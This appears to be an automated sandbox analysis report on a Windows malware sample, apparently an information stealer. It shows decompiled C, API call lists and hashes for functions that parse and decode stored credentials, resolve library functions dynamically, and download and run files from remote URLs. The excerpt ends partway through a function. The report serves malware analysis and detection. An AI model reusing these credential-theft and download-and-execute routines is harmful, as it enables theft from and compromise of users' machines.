Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateCryptDataProcessUnprotect
String ID:
API String ID: 976466151-0
Opcode ID: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction ID: 8f8f6216897be9d8972c86f868d54cc82cdb6c08760e6d1e730d1f8a7c76b19d
Opcode Fuzzy Hash: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction Fuzzy Hash: 17116DB5D04109EBCF00CFD8D881AAFB7B4AF44304F108569E905AB341D338AA41CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00409060, Relevance: 66.7, APIs: 34, Strings: 4, Instructions: 236
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E00409060(void* __ecx, intOrPtr _a4, intOrPtr _a8, char _a12) {
				long _v8;
				intOrPtr _v12;
				char* _v16;
				char _v284;
				char* _v288;
				void* _v292;
				char* _v296;
				struct _OVERLAPPED* _v300;
				long _v304;
				char* _v308;
				intOrPtr _t59;
				char* _t72;
				intOrPtr _t88;
				intOrPtr _t90;
				intOrPtr _t93;
				intOrPtr _t96;
				char* _t98;
				char* _t99;
				intOrPtr _t104;
				intOrPtr _t108;
				char* _t110;
				char* _t111;
				intOrPtr _t116;
				void* _t118;
				intOrPtr _t120;
				char* _t129;
				char* _t130;
				intOrPtr _t131;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t134;
				char* _t136;
				char* _t140;
				intOrPtr _t147;
				char* _t152;
				intOrPtr _t156;
				intOrPtr _t157;
				intOrPtr _t159;
				intOrPtr _t160;
				char* _t163;
				intOrPtr _t164;
				intOrPtr _t165;
				char* _t168;
				intOrPtr _t169;
				intOrPtr _t170;
				void* _t173;
				void* _t174;
				void* _t175;
				void* _t176;

				_t1 =  &_a12; // 0x7c6520
				_t59 =  *0x41a81c( *_t1);
				_t174 = _t173 + 4;
				if(_t59 == 0) {
					_t59 = E0040B650(__ecx, 0x41a7f0);
					_t175 = _t174 + 4;
					_v12 = _t59;
					if(_v12 < 0x20) {
						E0040B720( &_v284, 0x104);
						_t5 =  &_a12; // 0x7c6520
						 *0x41aa24( &_v284,  *_t5);
						 *0x41aa24( &_v284, 0x414018);
						_t147 =  *0x41a7e4; // 0x7c78c0
						 *0x41aa24( &_v284, _t147);
						_v304 = 0;
						_v300 = 0;
						_v292 = CreateFileA( &_v284, 0x80000000, 1, 0, 3, 0, 0);
						if(_v292 == 0) {
							L7:
							return  *0x41a840();
						}
						SetFilePointer(_v292, 0, 0, 2);
						_v304 = GetFileSize(_v292, 0);
						SetFilePointer(_v292, 0, 0, 0);
						_t72 = E0040B590(_v292, _v304 + 1);
						_t176 = _t175 + 4;
						_v308 = _t72;
						_v16 = _v308;
						ReadFile(_v292, _v16, _v304,  &_v8, 0);
						while(1) {
							_t152 =  *0x41a170; // 0x7c78f0
							_v296 = StrStrA(_v16, _t152);
							_t182 = _v296;
							if(_v296 == 0) {
								break;
							}
							_t129 =  *0x41a170; // 0x7c78f0
							_t31 =  *0x41a908(_t129) + 3; // 0x3
							_v296 =  &(_v296[_t31]);
							_t130 =  *0x41a3b0; // 0x7c79b0
							_v288 = StrStrA(_v296, _t130) - 3;
							 *_v288 = 0;
							_t131 =  *0x41a334; // 0x7c7330
							_t156 =  *0x41a838; // 0x0
							 *0x41aa24(_t156, _t131);
							_t132 =  *0x41a838; // 0x0
							 *0x41aa24(_t132, _a8);
							_t157 =  *0x41a838; // 0x0
							 *0x41aa24(_t157, "\n");
							_t88 =  *0x41a37c; // 0x7c71a0
							_t133 =  *0x41a838; // 0x0
							 *0x41aa24(_t133, _t88);
							_t90 =  *0x41a838; // 0x0
							 *0x41aa24(_t90, _a4);
							_t134 =  *0x41a838; // 0x0
							 *0x41aa24(_t134, "\n");
							_t159 =  *0x41a144; // 0x7c72c0
							_t93 =  *0x41a838; // 0x0
							 *0x41aa24(_t93, _t159);
							_t160 =  *0x41a838; // 0x0
							 *0x41aa24(_t160, _v296);
							_t96 =  *0x41a838; // 0x0
							 *0x41aa24(_t96, "\n");
							_t136 =  *0x41a5b8; // 0x7c8150
							_t98 = StrStrA(_v288 + 1, _t136);
							_t99 =  *0x41a5b8; // 0x7c8150
							_t41 =  *0x41a908(_t99) + 3; // 0x3
							_v296 =  &(_t98[_t41]);
							_t163 =  *0x41a5b4; // 0x7c80b0
							_v288 = StrStrA(_v296, _t163) - 3;
							 *_v288 = 0;
							_t164 =  *0x41a06c; // 0x7c71f0
							_t104 =  *0x41a838; // 0x0
							 *0x41aa24(_t104, _t164);
							_t165 =  *0x41a838; // 0x0
							 *0x41aa24(_t165, E004077A0(_v296, _t182, _v296));
							_t108 =  *0x41a838; // 0x0
							 *0x41aa24(_t108, "\n");
							_t140 =  *0x41a5b4; // 0x7c80b0
							_t110 = StrStrA(_v288 + 1, _t140);
							_t111 =  *0x41a5b4; // 0x7c80b0
							_t49 =  *0x41a908(_t111) + 3; // 0x3
							_v296 =  &(_t110[_t49]);
							_t168 =  *0x41a70c; // 0x7c8938
							_v288 = StrStrA(_v296, _t168) - 3;
							 *_v288 = 0;
							_t169 =  *0x41a14c; // 0x7c7340
							_t116 =  *0x41a838; // 0x0
							 *0x41aa24(_t116, _t169);
							_t118 = E004077A0(_v296, _t182, _v296);
							_t176 = _t176 + 8;
							_t170 =  *0x41a838; // 0x0
							 *0x41aa24(_t170, _t118);
							_t120 =  *0x41a838; // 0x0
							 *0x41aa24(_t120, "\n\n");
							_v16 = _v288 + 1;
						}
						CloseHandle(_v292);
						goto L7;
					}
				}
				return _t59;
			}

0x0040906a
0x0040906e
0x00409074
0x00409079
0x00409084
0x00409089
0x0040908c
0x00409093
0x004090a5
0x004090aa
0x004090b5
0x004090c7
0x004090cd
0x004090db
0x004090e1
0x004090eb
0x00409111
0x0040911e
0x004093f3
0x00000000
0x004093f3
0x00409131
0x00409146
0x00409159
0x00409169
0x0040916e
0x00409171
0x0040917d
0x00409198
0x0040919e
0x0040919e
0x004091af
0x004091b5
0x004091bc
0x00000000
0x00000000
0x004091c2
0x004091d5
0x004091d9
0x004091df
0x004091f6
0x00409202
0x00409205
0x0040920c
0x00409213
0x0040921d
0x00409224
0x0040922f
0x00409236
0x0040923c
0x00409242
0x00409249
0x00409253
0x00409259
0x00409264
0x0040926b
0x00409271
0x00409278
0x0040927e
0x0040928b
0x00409292
0x0040929d
0x004092a3
0x004092a9
0x004092ba
0x004092c2
0x004092ce
0x004092d2
0x004092d8
0x004092ef
0x004092fb
0x004092fe
0x00409305
0x0040930b
0x00409321
0x00409328
0x00409333
0x00409339
0x0040933f
0x00409350
0x00409358
0x00409364
0x00409368
0x0040936e
0x00409385
0x00409391
0x00409394
0x0040939b
0x004093a1
0x004093ae
0x004093b3
0x004093b7
0x004093be
0x004093c9
0x004093cf
0x004093de
0x004093de
0x004093ed
0x00000000
0x004093ed
0x00409093
0x004093fd

APIs

lstrcat.KERNEL32(?, e|), ref: 004090B5
lstrcat.KERNEL32(?,00414018), ref: 004090C7
lstrcat.KERNEL32(?,007C78C0), ref: 004090DB
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040910B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00409131
GetFileSize.KERNEL32(00000000,00000000), ref: 00409140
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00409159
new[].LIBCMTD ref: 00409169
ReadFile.KERNEL32(00000000,?,00000000,00000001,00000000), ref: 00409198
StrStrA.SHLWAPI(?,007C78F0), ref: 004091A9
lstrlen.KERNEL32(007C78F0), ref: 004091C9
StrStrA.SHLWAPI(00000000,007C79B0), ref: 004091ED
lstrcat.KERNEL32(00000000,007C7330), ref: 00409213
lstrcat.KERNEL32(00000000,?), ref: 00409224
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409236
lstrcat.KERNEL32(00000000,007C71A0), ref: 00409249
lstrcat.KERNEL32(00000000,00000020), ref: 00409259
lstrcat.KERNEL32(00000000,00418BC4), ref: 0040926B
lstrcat.KERNEL32(00000000,007C72C0), ref: 0040927E
lstrcat.KERNEL32(00000000,00000000), ref: 00409292
lstrcat.KERNEL32(00000000,00418BC4), ref: 004092A3
StrStrA.SHLWAPI(?,007C8150), ref: 004092BA
lstrlen.KERNEL32(007C8150), ref: 004092C8
StrStrA.SHLWAPI(00000000,007C80B0), ref: 004092E6
lstrcat.KERNEL32(00000000,007C71F0), ref: 0040930B

Part of subcall function 004077A0: lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
Part of subcall function 004077A0: CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6

lstrcat.KERNEL32(00000000,00000000), ref: 00409328
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409339
StrStrA.SHLWAPI(?,007C80B0), ref: 00409350
lstrlen.KERNEL32(007C80B0), ref: 0040935E
StrStrA.SHLWAPI(00000000,007C8938), ref: 0040937C
lstrcat.KERNEL32(00000000,007C7340), ref: 004093A1

Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078B9
Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078CD
Part of subcall function 004077A0: lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

lstrcat.KERNEL32(00000000,00000000), ref: 004093BE
lstrcat.KERNEL32(00000000,00418BC0), ref: 004093CF
CloseHandle.KERNEL32(00000000), ref: 004093ED

Strings

@s|, xrefs: 00409394
e|, xrefs: 0040906A, 004090AA, 0040906D, 004090AD
0s|, xrefs: 00409205
, xrefs: 0040908F

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$File$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringnew[]
String ID: $ e|$0s|$@s|
API String ID: 3141130001-1717076998
Opcode ID: df42f65cbb9f4ef5ec5817f12034b5c5c40bbaebf792a49d049cd6d98f07f5e0
Instruction ID: 7e99e970e00657f65ab1c061739f90e233e970cfeaa3462852b2302322d486d4
Opcode Fuzzy Hash: df42f65cbb9f4ef5ec5817f12034b5c5c40bbaebf792a49d049cd6d98f07f5e0
Instruction Fuzzy Hash: 58A11AB5A11204AFC715EBA4DD88FDA77F9EB4C304F00C5A9F60993291C738A9A1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408C00, Relevance: 44.0, APIs: 22, Strings: 3, Instructions: 284stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00408C2F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408C7C
RtlAllocateHeap.NTDLL(00000000), ref: 00408C83
lstrcat.KERNEL32(?,007C7260), ref: 00408DEA
lstrcat.KERNEL32(?,007C72B0), ref: 00408E10
lstrcat.KERNEL32(?,007C7260), ref: 00408EC8
lstrcat.KERNEL32(?,007C72B0), ref: 00408EEE
lstrcat.KERNEL32(?,?), ref: 00408F02
lstrcat.KERNEL32(?,004191EC), ref: 00408F14
lstrcat.KERNEL32(?,?), ref: 00408F28
lstrcat.KERNEL32(?,004191EC), ref: 00408F3A
lstrcat.KERNEL32(?,?), ref: 00408F4E
lstrcat.KERNEL32(?,004191EC), ref: 00408F60
lstrcat.KERNEL32(?,?), ref: 00408F74
lstrcat.KERNEL32(?,004191EC), ref: 00408F86
lstrcat.KERNEL32(?,?), ref: 00408F9A
lstrcat.KERNEL32(?,004191EC), ref: 00408FAC
lstrcat.KERNEL32(?,?), ref: 00408FC0
lstrcat.KERNEL32(?,004191EC), ref: 00408FD2
lstrcat.KERNEL32(?,?), ref: 00408FE6
lstrcat.KERNEL32(?,00418BC4), ref: 00408FF8
lstrlen.KERNEL32(?), ref: 0040900A

Strings

`r|, xrefs: 00408DDC, 00408EBA
e|, xrefs: 00408C1A, 00408C1D
h"|, xrefs: 00408C59

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: e|$`r|$h"|
API String ID: 3196222039-3616905541
Opcode ID: 6dacb75ba653f75164e28080b6dceb7eab12ac0dfcc8a2e54bcf7afa2522e244
Instruction ID: 37d9e65b1a1885b2021265d91926de593cb986df4567ec96dbdd6e639e599f41
Opcode Fuzzy Hash: 6dacb75ba653f75164e28080b6dceb7eab12ac0dfcc8a2e54bcf7afa2522e244
Instruction Fuzzy Hash: A6C164B1A01218AFCB24DF64DD89BDE77B5AF48704F0081D9F609A7291CB399E90CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00405420, Relevance: 37.7, APIs: 18, Strings: 7, Instructions: 180
stringCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00405420(void* __ecx) {
				char _v268;
				char _v532;
				char _v796;
				char _v1060;
				char _v1324;
				char _v1588;
				intOrPtr _t45;
				intOrPtr _t50;
				intOrPtr _t55;
				intOrPtr _t60;
				intOrPtr _t65;
				intOrPtr _t70;
				intOrPtr _t75;
				intOrPtr _t80;
				intOrPtr _t97;
				intOrPtr _t99;
				intOrPtr _t101;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t116;
				intOrPtr _t118;
				intOrPtr _t120;
				intOrPtr _t122;
				intOrPtr _t124;
				intOrPtr _t126;
				intOrPtr _t128;
				intOrPtr _t130;

				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				E0040B720( &_v1060, 0x104);
				_t45 =  *0x41a368; // 0x7c2160
				 *0x41aa24( &_v1324, _t45);
				_t116 =  *0x41a7c4; // 0x7c5130
				 *0x41aa24( &_v1324, _t116);
				_t97 =  *0x41a11c; // 0x7c70a0
				 *0x41aa24( &_v1324, _t97);
				_t50 =  *0x41a368; // 0x7c2160
				 *0x41aa24( &_v268, _t50);
				_t118 =  *0x41a7c4; // 0x7c5130
				 *0x41aa24( &_v268, _t118);
				_t99 =  *0x41a3b4; // 0x7c7088
				 *0x41aa24( &_v268, _t99);
				_t55 =  *0x41a368; // 0x7c2160
				 *0x41aa24( &_v796, _t55);
				_t120 =  *0x41a7c4; // 0x7c5130
				 *0x41aa24( &_v796, _t120);
				_t101 =  *0x41a090; // 0x7c70b8
				 *0x41aa24( &_v796, _t101);
				_t60 =  *0x41a368; // 0x7c2160
				 *0x41aa24( &_v1588, _t60);
				_t122 =  *0x41a7c4; // 0x7c5130
				 *0x41aa24( &_v1588, _t122);
				_t103 =  *0x41a604; // 0x7c7130
				 *0x41aa24( &_v1588, _t103);
				_t65 =  *0x41a368; // 0x7c2160
				 *0x41aa24( &_v532, _t65);
				_t124 =  *0x41a7c4; // 0x7c5130
				 *0x41aa24( &_v532, _t124);
				_t105 =  *0x41a630; // 0x7c70d0
				 *0x41aa24( &_v532, _t105);
				_t70 =  *0x41a368; // 0x7c2160
				 *0x41aa24( &_v1060, _t70);
				_t126 =  *0x41a7c4; // 0x7c5130
				 *0x41aa24( &_v1060, _t126);
				_t107 =  *0x41a674; // 0x7c5050
				 *0x41aa24( &_v1060, _t107);
				_t75 =  *0x41a2f0; // 0x7c6638
				_t108 =  &_v1324;
				E004049E0( &_v1324,  &_v1324, _t75);
				_t128 =  *0x41a650; // 0x7c68b8
				E004049E0(_t108,  &_v268, _t128);
				_t109 =  *0x41a220; // 0x7c6660
				E004049E0(_t109,  &_v796, _t109);
				_t80 =  *0x41a6cc; // 0x7c4db0
				_t110 =  &_v1588;
				E004049E0( &_v1588,  &_v1588, _t80);
				_t130 =  *0x41a4a8; // 0x7c6480
				E004049E0(_t110,  &_v532, _t130);
				_t111 =  *0x41a700; // 0x7c6570
				E004049E0(_t111,  &_v1060, _t111);
				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				return E0040B720( &_v1060, 0x104);
			}

0x00405435
0x00405446
0x00405457
0x00405468
0x00405479
0x0040548a
0x0040548f
0x0040549c
0x004054a2
0x004054b0
0x004054b6
0x004054c4
0x004054ca
0x004054d7
0x004054dd
0x004054eb
0x004054f1
0x004054ff
0x00405505
0x00405512
0x00405518
0x00405526
0x0040552c
0x0040553a
0x00405540
0x0040554d
0x00405553
0x00405561
0x00405567
0x00405575
0x0040557b
0x00405588
0x0040558e
0x0040559c
0x004055a2
0x004055b0
0x004055b6
0x004055c3
0x004055c9
0x004055d7
0x004055dd
0x004055eb
0x004055f1
0x004055f7
0x004055fe
0x00405606
0x00405614
0x0040561c
0x0040562a
0x00405632
0x00405638
0x0040563f
0x00405647
0x00405655
0x0040565d
0x0040566b
0x0040567f
0x00405690
0x004056a1
0x004056b2
0x004056c3
0x004056dc

APIs

lstrcat.KERNEL32(?,007C2160), ref: 0040549C
lstrcat.KERNEL32(?,007C5130), ref: 004054B0
lstrcat.KERNEL32(?,007C70A0), ref: 004054C4
lstrcat.KERNEL32(?,007C2160), ref: 004054D7
lstrcat.KERNEL32(?,007C5130), ref: 004054EB
lstrcat.KERNEL32(?,007C7088), ref: 004054FF
lstrcat.KERNEL32(?,007C2160), ref: 00405512
lstrcat.KERNEL32(?,007C5130), ref: 00405526
lstrcat.KERNEL32(?,007C70B8), ref: 0040553A
lstrcat.KERNEL32(?,007C2160), ref: 0040554D
lstrcat.KERNEL32(?,007C5130), ref: 00405561
lstrcat.KERNEL32(?,007C7130), ref: 00405575
lstrcat.KERNEL32(?,007C2160), ref: 00405588
lstrcat.KERNEL32(?,007C5130), ref: 0040559C
lstrcat.KERNEL32(?,007C70D0), ref: 004055B0
lstrcat.KERNEL32(?,007C2160), ref: 004055C3
lstrcat.KERNEL32(?,007C5130), ref: 004055D7
lstrcat.KERNEL32(?,007C5050), ref: 004055EB

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 004049E0: StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
Part of subcall function 004049E0: HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
Part of subcall function 004049E0: StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
Part of subcall function 004049E0: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
Part of subcall function 004049E0: InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
Part of subcall function 004049E0: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
Part of subcall function 004049E0: FindCloseChangeNotification.KERNEL32(?,?,00000400), ref: 00404BBC
Part of subcall function 004049E0: InternetCloseHandle.WININET(?), ref: 00404BC6
Part of subcall function 004049E0: InternetCloseHandle.WININET(00000000), ref: 00404BD3

Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 00404AB0
Part of subcall function 004049E0: Sleep.KERNEL32(00007530), ref: 00404AF6

Strings

`!|, xrefs: 0040548F, 004054CA, 00405505, 00405540, 0040557B, 004055B6
8f|, xrefs: 004055F1
pe|, xrefs: 0040565D
PP|, xrefs: 004055DD
`f|, xrefs: 0040561C
0q|, xrefs: 00405567
0Q|, xrefs: 004054A2, 004054DD, 00405518, 00405553, 0040558E, 004055C9

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$Internet$CloseFileOpen$Handle$ChangeCreateFindHttpInfoNotificationQueryReadSleepWrite
String ID: 0Q|$0q|$8f|$PP|$`!|$`f|$pe|
API String ID: 1141736759-1805051251
Opcode ID: 523f6f94308fdabadb63e5cab476504b7bf4905b54afa8b5587d7d0ed3e38dc8
Instruction ID: 5a6f90b88bf48c53f68c00fc2f1db0b98238631f3db8af8a6affdc9d9dd0ffe7
Opcode Fuzzy Hash: 523f6f94308fdabadb63e5cab476504b7bf4905b54afa8b5587d7d0ed3e38dc8
Instruction Fuzzy Hash: AB6178F6511118ABC710EBA0DD85DEA33B8FB4C704F0485AEF21593191DB7897A4CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00411520, Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,00412A9A,?), ref: 00411528
StrCmpCA.SHLWAPI(?,00419340,?,00412A9A,?), ref: 00411575
StrCmpCA.SHLWAPI(?,.zip,?,00412A9A,?), ref: 0041158F
StrCmpCA.SHLWAPI(?,.zoo,?,00412A9A,?), ref: 004115A9

Strings

.gz, xrefs: 004115FC
.zip, xrefs: 00411586
.lzh, xrefs: 004115CE
.arj, xrefs: 004115E5
.arc, xrefs: 004115B7
.tgz, xrefs: 00411613
.zoo, xrefs: 004115A0

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction ID: d5930b3a33e29c7b2ebfdd29e75950525031afcffcbb0299905607ea0d7068d1
Opcode Fuzzy Hash: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction Fuzzy Hash: DD318479B04204FB8B00DFB0C9849FF77B6AE59740B248056F61697760D239DE81EB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00407900, Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 105
libraryloaderstringCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00407900(void* __ecx, void* __eflags, intOrPtr _a4) {
				long _v8;
				long _v12;
				char _v5012;
				intOrPtr _v5016;
				CHAR* _t17;
				struct HINSTANCE__* _t21;
				CHAR* _t24;
				struct HINSTANCE__* _t26;
				CHAR* _t29;
				CHAR* _t42;
				CHAR* _t43;
				struct HINSTANCE__* _t44;
				CHAR* _t45;
				struct HINSTANCE__* _t46;
				CHAR* _t49;
				struct HINSTANCE__* _t50;
				CHAR* _t51;
				struct HINSTANCE__* _t52;
				CHAR* _t55;

				E004139B0(0x1394, __ecx);
				if(_a4 == 0) {
					return 0;
				}
				_v8 = 0xffff;
				_t17 =  *0x41a034; // 0x7c71c0
				_v12 = GetEnvironmentVariableA(_t17, 0x41b488, 0xffff);
				if(0x41b488 != 0) {
					E0040B720( &_v5012, 0x1388);
					 *0x41aa24( &_v5012, 0x41b488);
					 *0x41aa24( &_v5012, ";");
					 *0x41aa24( &_v5012, _a4);
					_t55 =  *0x41a034; // 0x7c71c0
					SetEnvironmentVariableA(_t55,  &_v5012);
					E0040B720( &_v5012, 0x1388);
				}
				_t42 =  *0x41a6cc; // 0x7c4db0
				 *0x41a824 = LoadLibraryA(_t42);
				if( *0x41a824 != 0) {
					_t49 =  *0x41a2b0; // 0x7c7e18
					_t21 =  *0x41a824; // 0x0
					 *0x41a81c = GetProcAddress(_t21, _t49);
					_t43 =  *0x41a628; // 0x7c7e30
					_t50 =  *0x41a824; // 0x0
					 *0x41a840 = GetProcAddress(_t50, _t43);
					_t24 =  *0x41a1b4; // 0x7c82b0
					_t44 =  *0x41a824; // 0x0
					 *0x41a7ec = GetProcAddress(_t44, _t24);
					_t51 =  *0x41a12c; // 0x7c7e60
					_t26 =  *0x41a824; // 0x0
					 *0x41a814 = GetProcAddress(_t26, _t51);
					_t45 =  *0x41a7b4; // 0x7c8250
					_t52 =  *0x41a824; // 0x0
					 *0x41a828 = GetProcAddress(_t52, _t45);
					_t29 =  *0x41a358; // 0x7c7e78
					_t46 =  *0x41a824; // 0x0
					 *0x41a80c = GetProcAddress(_t46, _t29);
				}
				if( *0x41a81c == 0 ||  *0x41a840 == 0 ||  *0x41a7ec == 0 ||  *0x41a828 == 0 ||  *0x41a80c == 0 ||  *0x41a814 == 0) {
					_v5016 = 0;
				} else {
					_v5016 = 1;
				}
				return _v5016;
			}

0x00407908
0x00407911
0x00000000
0x00407ab0
0x00407917
0x00407928
0x00407934
0x0040793e
0x0040794c
0x0040795d
0x0040796f
0x00407980
0x0040798d
0x00407994
0x004079a6
0x004079a6
0x004079ab
0x004079b8
0x004079c4
0x004079ca
0x004079d1
0x004079dd
0x004079e2
0x004079e9
0x004079f6
0x004079fb
0x00407a01
0x00407a0e
0x00407a13
0x00407a1a
0x00407a26
0x00407a2b
0x00407a32
0x00407a3f
0x00407a44
0x00407a4a
0x00407a57
0x00407a57
0x00407a63
0x00407a9e
0x00407a92
0x00407a92
0x00407a92
0x00000000

APIs

GetEnvironmentVariableA.KERNEL32(007C71C0,0041B488,0000FFFF), ref: 0040792E
lstrcat.KERNEL32(?,0041B488), ref: 0040795D
lstrcat.KERNEL32(?,004191E8), ref: 0040796F
lstrcat.KERNEL32(?,00000000), ref: 00407980
SetEnvironmentVariableA.KERNEL32(007C71C0,?), ref: 00407994
LoadLibraryA.KERNEL32(007C4DB0), ref: 004079B2
GetProcAddress.KERNEL32(00000000,007C7E18), ref: 004079D7
GetProcAddress.KERNEL32(00000000,007C7E30), ref: 004079F0
GetProcAddress.KERNEL32(00000000,007C82B0), ref: 00407A08
GetProcAddress.KERNEL32(00000000,007C7E60), ref: 00407A20
GetProcAddress.KERNEL32(00000000,007C8250), ref: 00407A39
GetProcAddress.KERNEL32(00000000,007C7E78), ref: 00407A51

Strings

`~|, xrefs: 00407A13
0~|, xrefs: 004079E2
x~|, xrefs: 00407A44

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad
String ID: 0~|$`~|$x~|
API String ID: 570708976-3687274178
Opcode ID: 7abf122d6e215ba9c63e42e8549cfde015a8d6489de665f1db2b59e3b6550401
Instruction ID: 77b6c5c08cf9b7a4301e695bc4720b41c2074284124323e2e0bb79b02c60fe80
Opcode Fuzzy Hash: 7abf122d6e215ba9c63e42e8549cfde015a8d6489de665f1db2b59e3b6550401
Instruction Fuzzy Hash: FD4120B5616200DFC714EFA4ED48AEA37F4A708305F14C57AF105926A1C77C96A2CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405B00, Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 178
stringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00405B00(void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				char _v276;
				char _v540;
				char _v804;
				char _v1068;
				char _v1072;
				char _v1076;
				intOrPtr _v1104;
				intOrPtr _v1108;
				intOrPtr _v1112;
				char* _v1116;
				char* _v1120;
				intOrPtr _v1124;
				intOrPtr _v1128;
				intOrPtr _v1132;
				char _v1136;
				intOrPtr _v1140;
				char _t56;
				char _t66;
				void* _t69;
				void* _t73;
				void* _t77;
				void* _t81;
				void* _t83;
				intOrPtr _t110;
				intOrPtr _t117;
				intOrPtr _t118;
				intOrPtr _t119;
				intOrPtr _t120;
				void* _t126;
				void* _t127;

				_t56 = E0040C090(_a4, "|",  &_v1076);
				_t127 = _t126 + 0xc;
				_v1072 = _t56;
				_v8 = 1;
				E0040B720( &_v804, 0x104);
				E0040B720( &_v1068, 0x104);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				while(_v1072 != 0) {
					_v1140 = _v8;
					if(_v1140 == 1) {
						 *0x41aa24( &_v804, _v1072);
					} else {
						if(_v1140 == 2) {
							 *0x41aa24( &_v1068, _v1072);
							_t69 = E0040BF50( &_v1068, __eflags, 0x1a);
							_t117 =  *0x41a574; // 0x7c6f20
							 *0x41aac8( &_v540, E0040BEB0( &_v1068, _t117, _t69));
							_t73 = E0040BF50( &_v540, __eflags, 0x1c);
							_t118 =  *0x41a518; // 0x7c6fe0
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t118, _t73));
							_t77 = E0040BF50( &_v540, __eflags, 0x28);
							_t119 =  *0x41a2f8; // 0x7c6f38
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t119, _t77));
							_t81 = E0040BF50( &_v540, __eflags, 0x10);
							_t120 =  *0x41a494; // 0x7c7040
							_t83 = E0040BEB0( &_v540, _t120, _t81);
							_t127 = _t127 + 0x40;
							 *0x41aac8( &_v540, _t83);
						} else {
							if(_v1140 == 3) {
								 *0x41aa24( &_v276, _v1072);
								E004049E0( &_v540,  &_v804,  &_v540);
								_t127 = _t127 + 8;
								E0040B6E0( &_v540,  &_v1136, 0, 0x3c);
								_v1136 = 0x3c;
								_v1132 = 0;
								_v1128 = 0;
								_t110 =  *0x41a694; // 0x7a6968
								_v1124 = _t110;
								_v1120 =  &_v540;
								_v1116 =  &_v276;
								_v1112 = 0;
								_v1108 = 5;
								_v1104 = 0;
